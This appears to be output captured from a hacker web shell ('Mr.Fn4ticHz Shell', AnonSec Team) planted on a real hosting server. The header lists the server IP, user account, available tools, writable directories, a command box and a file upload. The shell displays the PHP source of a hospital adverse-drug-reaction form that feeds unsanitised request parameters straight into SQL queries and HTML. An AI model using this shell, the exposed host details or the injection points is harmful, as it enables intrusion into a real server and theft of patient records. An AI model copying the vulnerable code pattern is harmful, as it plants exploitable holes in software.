Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.119.255.250
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/Classification_Incidence.php
<?php session_start();
include("dbconnection.php");
require_once("../patientmanager.php");
require_once("../DBManager.php");
if(isset($_POST[Classification_Incidenceva]))

	{
		PatientManager::Classification_Incidence("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Suspected_Reaction_Id]","$_POST[Classification_Incidence]","$_POST[ReportDisaster_Native]","$_POST[ReportDisaster_Corrective]","$_POST[entered_by]");
	 }
	 
if(isset($_POST[Classification_Incidenceva2]))

	{
		PatientManager::Classification_Incidence2("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Classification_Incidence]","$_POST[ReportDisaster_Native2]","$_POST[ReportDisaster_Corrective2]","$_POST[entered_by]");
	 }
	 
if(isset($_POST['Suspected_Reaction'])) 
{
   PatientManager::SuspectedReaction2("$_POST[prescriptionid]","$_POST[patientid]","","$_POST[Classification_Incidence]","$_POST[Minor]","$_POST[Major]","$_POST[Minor_Reaction]","$_POST[Major_Reaction]","$_POST[Specify]","$_POST[otherAnswer]","$_POST[otherAnswer_date]","$_POST[Name_Medicine]","$_POST[Treatment_Given]","$_POST[Outcome1]","$_POST[Corrective_action]","$_POST[Native_description]","$_POST[Recovery_time]","$_POST[entered_by]");
}
?>

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

    <title>Classification of Incidence  </title>
    
     <style>
.switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}



.center {
   border: 1px solid grey;
   text-align:;
}

</style>
  
  
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
    
<script>
function myFunction120() {
  var checkBox = document.getElementById("myCheck120");
  var text = document.getElementById("text120");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
function myFunction121() {
  var checkBox = document.getElementById("myCheck121");
  var text = document.getElementById("text121");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
$(document).ready(function() {
            $("input[type='radio']").change(function() {
                if ($(this).val() == "Death") {
                    $("#otherAnswer").show();
                } else {
                    $("#otherAnswer").hide();
                }
            });
        });
        
        $(document).ready(function() {
            $("input[type='radio']").change(function() {
                if ($(this).val() == "Other") {
                    $("#other").show();
                } else {
                    $("#other").hide();
                }
            });
        });
    </script>

	<style>

.center {
   border: 1px solid grey;
   text-align:;
}
 </style>
    
    
    <script>
 function myFunction() {
  var checkBox = document.getElementById("myCheck");
  var text = document.getElementById("text");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
 function myFunction1() {
  var checkBox = document.getElementById("myCheck1");
  var text = document.getElementById("text1");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
 function myFunction2() {
  var checkBox = document.getElementById("myCheck2");
  var text = document.getElementById("text2");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
 function myFunction5() {
  var checkBox = document.getElementById("myCheck5");
  var text = document.getElementById("text5");
  if (checkBox.checked == true){
       text.style.display = "none";

  } else {
       text.style.display = "block";
  }
}
$(document).ready(function() {
    $("div.desc").hide();
    $("input[name$='Major_Reaction']").click(function() {
        var test = $(this).val();
        $("div.desc").hide();
        $("#" + test).show();
    });
});
$(document).ready(function() {
    $("div.desc1").hide();
    $("input[name$='action_taken']").click(function() {
        var test = $(this).val();
        $("div.desc1").hide();
        $("#" + test).show();
    });
});
$(document).ready(function() {
    $("div.desc2").hide();
    $("input[name$='Outcome1']").click(function() {
        var test = $(this).val();
        $("div.desc2").hide();
        $("#" + test).show();
    });
});
</script>
<style>
    .box{
        color:black;
        padding: 20px;
        display: none;
        margin-top: 20px;
    }
    .Near_Miss{ background: white; }
    .Adverse_Event{ background: white; }
    .Sentinel_Event{ background:white; }
</style>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("#selectDiv").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>
  <body>
      
           	<h3><i class="fa fa-angle-right"></i> &nbsp; &nbsp;Classification of Incidence </h3>
           	
           	<form name="Classification_Incidenceva" method="post">
           	    
           	    
           	    <input type="hidden" name="Suspected_Reaction_Id" value="Null">
           	    
           	     <label for="address">Classification of Incidence  </label>
           	     
           	     
           	     
           	      <div>
       <select name="Classification_Incidence" id=selectDiv>
              <option value="" disabled selected>Classification of Incidence </option>
            <option value="Near_Miss">Near Miss</option>
            <option value="Adverse_Event">Adverse Event</option>
            <option value="Sentinel_Event">Sentinel Event</option>
        </select>
    </div>
    <div class="Near_Miss box">
             <label>Native description of Occurrence</label>
        <input type="text" name="ReportDisaster_Native" placeholder="Native description of Occurrence">
         <label>Corrective And Preventive Action Taken</label>
        <input type="text" name="ReportDisaster_Corrective" placeholder="Corrective And Preventive Action Taken"> 
        <br><button style="float: right;"  name="Classification_Incidenceva" type="submit"> Save</button></div>
        
           <div class="Sentinel_Event box"> <label>Native description of Occurrence</label>
        <input type="text" name="ReportDisaster_Native2" placeholder="Native description of Occurrence">
         <label>Corrective And Preventive Action Taken</label>
        <input type="text" name="ReportDisaster_Corrective2" placeholder="Corrective And Preventive Action Taken"> 
        <br>    <button style="float: right;"  name="Classification_Incidenceva2" type="submit"> Save</button></div>
        
        
        
    <div class="Adverse_Event box">
    <div class='center'>
   
<h3 align='center'>Suspected Adverse Drug Reaction</h3>
<br>
<br> <table id='example2' class='table table-bordered table-hover' width='100%'>
<tr><td><h4 align='center'>Seriousness of Reaction</h4></td></tr>
</table>
<table id='example2' class='table table-bordered table-hover' width='100%'>
    <tr>
        <td width='25%'><span style="font-size: 20px">Minor Reaction  </span></h3></td><td width='25%'><label class="switch">
  <input name="Minor" type="checkbox" id="myCheck120" onclick="myFunction120()">
  <span class="slider"></span>
</label>
</td>
<td width='25%'><span style="font-size: 20px">Major Reaction  </span></h3></td><td width='25%'><label class="switch">
  <input name="Major" type="checkbox" id="myCheck121" onclick="myFunction121()">
  <span class="slider"></span>
</label>
</td>
        
        	<?php
		$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo "
            <input type='hidden' name='prescriptionid' value='$rs[prescriptionid]'>
                <input type='hidden' name='patientid' value='$rs[patientid]'>
            ";
		}
		?>
    </tr>
    </table>
    
    <div id="text120" style="display:none">
<table id="example2" class="table table-bordered table-hover"> 
<tr><td width='50%'> Minor Reaction</td>
<td width='50%'><select name='Minor_Reaction'>         <option value='' >Minor Reaction</option>        <option value='Fever'>Fever</option>     <option value='Chills'>Chills</option>     <option value='Skin_Rash'>Skin Rash</option>     <option value='Urticaria'>Urticaria</option>  <option value='Bodyache'>Bodyache</option> </select>
</td>
</tr>
</table></div>

<div id="text121" style="display:none">
<table id="example2" class="table table-bordered table-hover"> 
<tr>  <tr>
    	<div class="checkbox">   <input type="radio" name="Major_Reaction" value="Death">&nbsp; <span>Death    </span>
	</div>
    	<div class="checkbox">	<input type="radio" name="Major_Reaction" value="Life threatening"> &nbsp; <span>Life threatening    </span>
	</div>
		<div class="checkbox">	<input type="radio" name="Major_Reaction" value="Disability"> &nbsp;<span>Disability   </span>
	</div>	
	<div class="checkbox">	<input type="radio" name="Major_Reaction" value="Chest pain">&nbsp; <span>Chest pain    </span>
	</div>
		<div class="checkbox">	<input type="radio" name="Major_Reaction" value="Loin Pain">&nbsp; <span>Loin Pain   </span>
	</div>
	<div class="checkbox">	<input type="radio" name="Major_Reaction" value="Breathlessness">&nbsp; <span>Breathlessness  </span>
	</div>
		<div class="checkbox">	<input type="radio" name="Major_Reaction" value="Decreased urine Output">&nbsp; <span>Decreased urine Output  </span>
	</div>
	
		<div class="checkbox">	<input type="radio" name="Major_Reaction" value="Other">&nbsp; <span>Other </span>
	</div>
</td>
</tr>

</table></div>

<div style="display:none;"  name="other" id="other">
<table id="example2" class="table table-bordered table-hover"> 
<tr><td>Specify </td><td><input type='text' name='Specify' ></td></tr>
</table>
</div>
<div style="display:none;"  name="otherAnswer" id="otherAnswer">
<table id="example2" class="table table-bordered table-hover"> 
<tr><td>Date and time </td><td><input type='datetime-local' name='otherAnswer_date' ></td></tr>
</table>
</div>
<table id="example2" class="table table-bordered table-hover"> 
		
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name of Medicine : </td>
<td width='50%'><input type="text" placeholder="Name of Medicine" name="Name_Medicine"></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Native description of Occurrence: </td>
<td width='50%'><textarea name="Native_description" rows="2" cols="70">
</textarea></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Treatment Given : </td>
<td width='50%'><textarea name="Treatment_Given" rows="2" cols="70">
</textarea></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Outcome: </td>
<td width='50%'><select name='Outcome1'>         <option value='' >Outcome</option>        <option value='Fatal'>Fatal</option>     <option value='Used'>Used</option>     <option value='Recovering'>Recovering</option>     <option value='Unknown'>Unknown</option>  <option value='Continuing'> Continuing       </option> <option value='Recovered'> Recovered      </option> <option value='Other'> Other      </option>   </select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Corrective And Preventive Action Taken : </td>
<td width='50%'><textarea name="Corrective_action" rows="2" cols="70">
</textarea></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Date and time of Recovery : </td>
<td width='50%'><input type='datetime-local' name='Recovery_time'></td>
</tr>
 
<br>

</table>

<br>
<br>
<input type="submit" name="Suspected_Reaction" value="Submit"></div>
    
    
    
 </form>
           	     
           	     
           	     
             
       
            

        

          	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  </style>
  </head>
 
    <div id="container">
 
      </div>

Anon7 - 2022
AnonSec Team